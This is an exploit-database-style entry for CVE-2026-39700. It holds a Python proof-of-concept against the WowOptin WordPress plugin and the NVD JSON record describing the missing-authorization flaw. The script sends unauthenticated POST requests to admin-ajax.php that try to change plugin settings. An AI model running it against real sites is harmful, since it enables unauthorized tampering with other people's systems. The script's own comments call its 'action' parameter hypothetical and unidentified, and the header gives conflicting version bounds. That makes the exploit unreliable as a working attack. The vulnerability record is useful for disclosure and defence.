CVE-2026-39700

# Exploit Title: WowOptin < 1.4.32 - Missing Authorization PoC # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://wpxpo.com/ # Software Link: https://wordpress.org/plugins/optin/ # Version: <= 1.4.32 # Tested on: WordPress 6.x import requests def check_vulnerability(target_url): """ Checks for missing authorization vulnerability in WowOptin plugin. Note: The specific 'action' parameter needs to be identified via source code analysis. """ ajax_url = f"{target_url}/wp-admin/admin-ajax.php" # Hypothetical action based on plugin functionality payload = { "action": "wow_optin_save_settings", "data": { "email": "[email protected]", "status": "active" } } try: response = requests.post(ajax_url, data=payload, timeout=10) if response.status_code == 200 and "success" in response.text: print("[+] Potential vulnerability detected! Settings modified without authentication.") else: print("[-] Target not vulnerable or action parameter incorrect.") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://example.com" # Replace with target domain check_vulnerability(target)

{"cve": {"id": "CVE-2026-39700", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:42.563", "lastModified": "2026-04-29T10:17:42.190", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Missing Authorization vulnerability in WPXPO WowOptin optin allows Exploiting Incorrectly Configured Access Control Security Levels.This issue affects WowOptin: from n/a through <= 1.4.32."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/optin/vulnerability/wordpress-wowoptin-plugin-1-4-32-broken-access-control-vulnerability?_s_id=cve", "source": "[email protected]"}]}}